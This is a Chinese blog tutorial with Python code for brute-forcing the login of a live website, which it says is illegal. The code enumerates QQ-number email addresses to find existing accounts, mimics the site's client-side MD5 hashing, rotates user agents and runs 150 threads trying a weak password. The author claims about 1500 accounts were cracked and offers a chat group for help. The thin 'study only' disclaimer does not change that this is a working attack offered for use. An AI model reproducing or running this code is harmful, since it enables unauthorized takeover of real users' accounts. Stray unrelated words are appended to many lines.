如何經過Python暴力破解網站登錄密碼

首先申明,該文章只能夠用於交流學習,不能夠用於其餘用途,不然後果自負。json

如今國家對網絡安全的管理,愈來愈嚴,可是仍是有一些不法網站逍遙法外,受限於國內的人力、物力,沒法對這些網站進行取締。安全

今天演示的這個網站,就是屬於非法的網站。服務器

 

首先看登錄界面。網絡

 

 抓取登錄信息。多線程

使用Post Form表單的形式,進行用戶名和密碼的提交。接下來咱們看提交的用戶名和密碼。app

我輸入的密碼和用戶名一致,說明該站對提交的密碼進行了處理,等一會我來看,密碼是怎麼處理的,如今咱們看服務器的返回信息。dom

服務器返回的是JSON,到這一步,咱們就差密碼了,只要知道密碼是怎麼生成的,就能加速對用戶密碼的破解了。socket

查看網站的腳本,發現密碼是先在本地作MD5處理以後,才發送到服務器的。ide

到了這一步,咱們也就初步知道如何對該網站進行暴力破解了。函數

因爲如今的人們在進行網站註冊的時候,都是使用QQ郵箱進行註冊的,所以咱們能夠先構建一個QQ郵箱,先判斷蓋郵箱存不存在,而後咱們在判斷密碼正不正確。

如今咱們的思路理清楚了,接下來直接上乾貨。

user_num_low = 111111111
user_num_max = 9999999999
user_nbr = user_num_low

mutex=Lock()

#構造用戶郵箱
def get_user_nbr():
    mutex.acquire(3)
    global  user_nbr
    user_name = '%s%s' % (str(user_nbr), '@qq.com')
    user_nbr = user_nbr + 1
    mutex.release()
    return user_name

def user_end_judge():
    mutex.acquire(3)
    result = False
    if user_nbr > user_num_max :
        result = True
    else:
        result = False
    mutex.release()
    return  result

def get_curr_user():
    mutex.acquire(3)
    global  user_nbr
    user_name = '%s%s' % (str(user_nbr), '@qq.com')
    mutex.release()
    return user_name

 

 構造用於判斷密碼郵箱是否存在

user_agent = [
    'Mozilla/5.0 (Windows NT 5.2) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30',
    'Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0',
    'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET4.0E; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)',
    'Opera/9.80 (Windows NT 5.1; U; zh-cn) Presto/2.9.168 Version/11.50',
    'Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1',
    'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0E; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)'
]

def save_pwd(user, pwd,desc):
    with open("resut.txt","a+") as f:
        f.write('user:'+ user + '  pwd:' + pwd + " desc:" + desc + '\n')

def user_test(username,password):
    resp = ""
    result = ""
    url = "http://www.k*.htm"
    pwd = password
    user= username
    md = hashlib.md5()
    md.update(pwd)
    password =  md.hexdigest()
    data = {'email':username,'password':password}

    # 設置網頁編碼格式,解碼獲取到的中文字符
    encoding = "gb18030"
    # 構造http請求頭,設置user-agent
    header = {
        "User-Agent": random.choice(user_agent),
        'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
        'X-Requested-With':'XMLHttpRequest'
    }

    try:
        requests.adapters.DEFAULT_RETRIES = 5
        resp = requests.post(url, data=data, headers=header, timeout=335)
    except requests.exceptions.ReadTimeout:
        print("1")
        time.sleep(10)
        resp = requests.post(url, data=data, headers=header, timeout=335)
    except requests.exceptions.Timeout:
        print("2")
        time.sleep(10)
        resp = requests.post(url, data=data, headers=header, timeout=335)
    except requests.exceptions.ConnectionError:
        print("3")
        time.sleep(10)
        resp = requests.post(url, data=data, headers=header, timeout=335)
    except socket.error:
        time.sleep(10)
        resp = requests.post(url, data=data, headers=header, timeout=335)
    except BaseException as e:
        print(e)
        time.sleep(10)
        resp = requests.post(url, data=data, headers=header, timeout=335)

    resp.keep_alive = False
    #print(resp.content)
    try:
        result = resp.content
        json = resp.json()
        print('郵箱:%s ,result:%s \n ' % (username,result))
        if (json['message'].find('不存在') > -1):
            #print('郵箱:%s 爲空' % username )
            return False
        else:
            print('郵箱: %s 存在' % username)
            save_pwd(username, password, json['message'])
            return True
    except BaseException as e:
        print("發送錯誤 e: %s result:%s response code:%d" % (e, result, resp.status_code ))

 

好了,咱們獲取到郵箱以後,就是要判斷密碼是否正確了,因爲大部分人網站登錄,仍是使用弱密碼,咱們能夠到網上找一下相關的字典庫,就能夠直接破解了。

判斷密碼是否正確,咱們只須要在判斷郵箱存在以後,再加一個判斷便可。

  if(json['message'].find('錯誤') > -1):
                print("郵箱: %s 密碼: %s ,密碼錯誤!" % (username,pwd))
                return False
            else:
                print('郵箱: %s  密碼: %s ,登錄成功!' % (username, pwd))

因爲用戶和密碼驗證較多,單一線程工做須要較長的時間,所以咱們須要用上多線程,縮短密碼破解時間。

def thread_bru(): # 破解子線程函數
    #while not user_end_judge():pwd_queue.empty()
    while not user_end_judge():
        try:
            pwd = ‘123456’
            user = get_user_nbr()
            #print pwd_test
            #if user_test(user, pwd_test):
            if user_test(user, pwd):
                result = pwd
                print ('破解 %s 成功,密碼爲: %s' % (user, pwd))
                break
        except BaseException as e:
            print("破解子線程錯誤: %s" % e)

def brute(threads):
    for i in range(threads):
        t = threading.Thread(target=thread_bru)
        t.start()
        print('破解線程-->%s 啓動' % t.ident)
    while (not user_end_judge()): # 剩餘口令集判斷
        print('\r 進度: 當前值 %d' % pwd_queue.qsize())
        time.sleep(2)
        #print('\n破解完畢')

if __name__ == "__main__":
    brute(150)

好了,初步編寫完成。咱們先刷完一部電影過來看看最終結果吧。

竟然測試成功1500左右的郵箱,還有不少許多人是用很是簡單的密碼的。

 

有不懂的問題,加企鵝羣交流吧:98556420。

相關文章
相關標籤/搜索